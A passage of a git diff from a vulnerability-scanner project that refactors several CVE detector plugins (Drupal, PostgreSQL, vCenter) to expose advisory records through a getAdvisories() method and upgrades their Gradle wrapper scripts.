.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2018_7600")) - .setSeverity(Severity.CRITICAL) - .setTitle("Drupalgeddon 2 Detected") + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("CVE_2018_7600")) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2018-7600")) + .setSeverity(Severity.CRITICAL) + .setTitle("Drupalgeddon 2 Detected") .setDescription( "This version of Drupal is vulnerable to CVE-2018-7600. Drupal versions" + " before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x" diff --git a/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve20196340/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20196340/gradlew b/google/detectors/rce/cve20196340/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve20196340/gradlew +++ b/google/detectors/rce/cve20196340/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20196340/gradlew.bat b/google/detectors/rce/cve20196340/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve20196340/gradlew.bat +++ b/google/detectors/rce/cve20196340/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve20196340/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340Detector.java b/google/detectors/rce/cve20196340/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340Detector.java index 624b60da1..79109c6e9 100644 --- a/google/detectors/rce/cve20196340/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340Detector.java +++ b/google/detectors/rce/cve20196340/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340Detector.java @@ -88,6 +88,31 @@ public final class Cve20196340Detector implements VulnDetector { this.payloadFormatString = payloadFormatString; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_6340")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2019-6340")) + .setTitle("Drupal RCE CVE-2019-6340 Detected") + .setDescription( + "Some field types do not properly sanitize data from non-form sources in " + + "Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead" + + " to arbitrary PHP code execution in some cases. A site is only affected" + + " by this if one of the following conditions is met: The site has the" + + " Drupal 8 core RESTful Web Services (rest) module enabled and allows" + + " PATCH or POST requests, or the site has another web services module" + + " enabled, like JSON:API in Drupal 8, or Services or RESTful Web Services" + + " in Drupal 7. (Note: The Drupal 7 Services module itself does not require" + + " an update at this time, but you should apply other contributed updates" + + " associated with this advisory if Services is in use.)") + .setRecommendation("Upgrade to Drupal 8.6.10 or Drupal 8.5.11 with security patches.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -148,25 +173,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_6340")) - .setSeverity(Severity.CRITICAL) - .setTitle("Drupal RCE CVE-2019-6340 Detected") - .setDescription( - "Some field types do not properly sanitize data from non-form sources in " - + "Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead" - + " to arbitrary PHP code execution in some cases. A site is only affected" - + " by this if one of the following conditions is met: The site has the" - + " Drupal 8 core RESTful Web Services (rest) module enabled and allows" - + " PATCH or POST requests, or the site has another web services module" - + " enabled, like JSON:API in Drupal 8, or Services or RESTful Web Services" - + " in Drupal 7. (Note: The Drupal 7 Services module itself does not" - + " require an update at this time, but you should apply other contributed" - + " updates associated with this advisory if Services is in use.)") - .setRecommendation( - "Upgrade to Drupal 8.6.10 or Drupal 8.5.11 with security patches.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20196340/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340DetectorTest.java b/google/detectors/rce/cve20196340/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340DetectorTest.java index 47a86f510..a34dafae9 100644 --- a/google/detectors/rce/cve20196340/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340DetectorTest.java +++ b/google/detectors/rce/cve20196340/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20196340/Cve20196340DetectorTest.java @@ -36,11 +36,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -121,29 +118,7 @@ public void detect_ifVulnerable_reportsVuln() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2019_6340")) - .setSeverity(Severity.CRITICAL) - .setTitle("Drupal RCE CVE-2019-6340 Detected") - .setDescription( - "Some field types do not properly sanitize data from non-form sources " - + "in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. " - + "This can lead to arbitrary PHP code execution in some cases. " - + "A site is only affected by this if one of the following " - + "conditions is met: The site has the Drupal 8 core RESTful Web " - + "Services (rest) module enabled and allows PATCH or POST " - + "requests, or the site has another web services module enabled, " - + "like JSON:API in Drupal 8, or Services or RESTful Web Services " - + "in Drupal 7. (Note: The Drupal 7 Services module itself does " - + "not require an update at this time, but you should apply other " - + "contributed updates associated with this advisory if Services " - + "is in use.)") - .setRecommendation( - "Upgrade to Drupal 8.6.10 or Drupal 8.5.11 with security patches.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve20199193/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20199193/gradlew b/google/detectors/rce/cve20199193/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve20199193/gradlew +++ b/google/detectors/rce/cve20199193/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20199193/gradlew.bat b/google/detectors/rce/cve20199193/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve20199193/gradlew.bat +++ b/google/detectors/rce/cve20199193/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve20199193/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193Detector.java b/google/detectors/rce/cve20199193/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193Detector.java index c0a132955..5fb1a7cd4 100644 --- a/google/detectors/rce/cve20199193/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193Detector.java +++ b/google/detectors/rce/cve20199193/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193Detector.java @@ -70,22 +70,27 @@ public final class Cve20199193Detector implements VulnDetector { @VisibleForTesting static final String RECOMMENDATION = "Change the default login credentials."; - @VisibleForTesting - static final Vulnerability VULNERABILITY = - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_9193")) - .setSeverity(Severity.CRITICAL) - .setTitle("PostgreSQL RCE CVE-2019-9193 Detected") - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) - .build(); - @Inject Cve20199193Detector(@UtcClock Clock utcClock, ConnectionProviderInterface connectionProvider) { this.utcClock = checkNotNull(utcClock); this.connectionProvider = checkNotNull(connectionProvider); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_9193")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2019-9193")) + .setTitle("PostgreSQL RCE CVE-2019-9193 Detected") + .setDescription(DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -148,7 +153,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(VULNERABILITY) + .setVulnerability(this.getAdvisories().get(0)) .build(); } diff --git a/google/detectors/rce/cve20199193/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193DetectorTest.java b/google/detectors/rce/cve20199193/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193DetectorTest.java index 2b3a15ec7..4de5b1ec2 100644 --- a/google/detectors/rce/cve20199193/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193DetectorTest.java +++ b/google/detectors/rce/cve20199193/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20199193/Cve20199193DetectorTest.java @@ -115,7 +115,7 @@ public void detect_exploitable_returnsVuln() throws IOException, SQLException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(Cve20199193Detector.VULNERABILITY) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -213,7 +213,7 @@ public void detect_hostname_returnsVuln() throws IOException, SQLException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(Cve20199193Detector.VULNERABILITY) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -246,7 +246,7 @@ public void detect_ip_returnsVuln() throws IOException, SQLException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(Cve20199193Detector.VULNERABILITY) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } } diff --git a/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve202121972/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve202121972/gradlew b/google/detectors/rce/cve202121972/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve202121972/gradlew +++ b/google/detectors/rce/cve202121972/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve202121972/gradlew.bat b/google/detectors/rce/cve202121972/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve202121972/gradlew.bat +++ b/google/detectors/rce/cve202121972/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve202121972/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetector.java b/google/detectors/rce/cve202121972/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetector.java index 2aa307c11..29c910e5f 100644 --- a/google/detectors/rce/cve202121972/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetector.java +++ b/google/detectors/rce/cve202121972/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetector.java @@ -70,6 +70,11 @@ public final class VcenterUploadOvaDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(TextData.getDefaultInstance())); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -84,6 +89,31 @@ public DetectionReportList detect( .build(); } + Vulnerability getAdvisory(TextData details) { + return Vulnerability.newBuilder() + .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2021_21972")) + .setSeverity(Severity.CRITICAL) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-21972")) + .setTitle("vCenter OVA Upload RCE") + .setDescription( + "The vSphere Client (HTML5) contains a remote code execution vulnerability in a" + + " vCenter Server plugin. A malicious actor with network access to port" + + " 443 may exploit this issue to execute commands with unrestricted" + + " privileges on the underlying operating system that hosts vCenter" + + " Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7" + + " before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x" + + " before 4.2 and 3.x before 3.10.1.2).") + .setRecommendation( + "To remediate CVE-2021-21972 apply the updates listed in the 'Fixed Version'" + + " column of the 'Response Matrix' below to affected deployments.\n" + + "\n" + + "Please see" + + " https://www.vmware.com/security/advisories/VMSA-2021-0002.html for the" + + " Response Matrix and the remediation instructions.") + .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details)) + .build(); + } + /** Checks if a {@link NetworkService} has a vCenter upload OVA endpoint that returns 405. */ private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = @@ -125,28 +155,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2021_21972")) - .setSeverity(Severity.CRITICAL) - .setTitle("vCenter OVA Upload RCE") - .setDescription( - "The vSphere Client (HTML5) contains a remote code execution vulnerability in a" - + " vCenter Server plugin. A malicious actor with network access to port" - + " 443 may exploit this issue to execute commands with unrestricted" - + " privileges on the underlying operating system that hosts vCenter" - + " Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7" - + " before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x" - + " before 4.2 and 3.x before 3.10.1.2).") - .setRecommendation( - "To remediate CVE-2021-21972 apply the updates listed in the 'Fixed Version'" - + " column of the 'Response Matrix' below to affected deployments.\n" - + "\n" - + "Please see" - + " https://www.vmware.com/security/advisories/VMSA-2021-0002.html for the" - + " Response Matrix and the remediation instructions.") - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .setVulnerability(getAdvisory(details)) .build(); } } diff --git 